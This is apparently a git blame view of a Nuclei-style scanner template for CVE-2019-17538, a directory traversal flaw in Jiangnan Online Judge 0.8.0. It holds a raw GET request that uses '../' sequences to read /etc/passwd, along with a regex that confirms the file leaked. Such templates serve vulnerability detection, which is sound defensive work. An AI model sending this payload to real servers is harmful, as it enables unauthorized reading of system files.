2021-09-30 16:52:05 +00:00
|
|
|
id: CVE-2019-17538
|
2022-04-22 10:38:41 +00:00
|
|
|
|
2021-09-30 16:52:05 +00:00
|
|
|
info:
|
|
|
|
name: Jnoj arbitrary local file inclusion (LFI)
|
|
|
|
author: pussycat0x
|
|
|
|
severity: high
|
2022-04-22 10:38:41 +00:00
|
|
|
description: Jiangnan Online Judge (aka jnoj) 0.8.0 has directory traversal (LFI) vulnerability via web/polygon/problem/viewfile?id=1&name=../
|
|
|
|
reference:
|
|
|
|
- https://github.com/shi-yang/jnoj/issues/53
|
2021-09-10 11:26:40 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
2022-04-22 10:38:41 +00:00
|
|
|
cvss-score: 7.5
|
2021-09-10 11:26:40 +00:00
|
|
|
cve-id: CVE-2019-17538
|
|
|
|
cwe-id: CWE-22
|
2022-04-22 10:38:41 +00:00
|
|
|
tags: cve,cve2019,jnoj,lfi
|
|
|
|
|
2021-09-30 16:52:05 +00:00
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
GET /jnoj/web/polygon/problem/viewfile?id=1&name=../../../../../../../etc/passwd HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
|
|
|
- type: regex
|
|
|
|
regex:
|
|
|
|
- "root:.*:0:0:"
|
|
|
|
part: body
|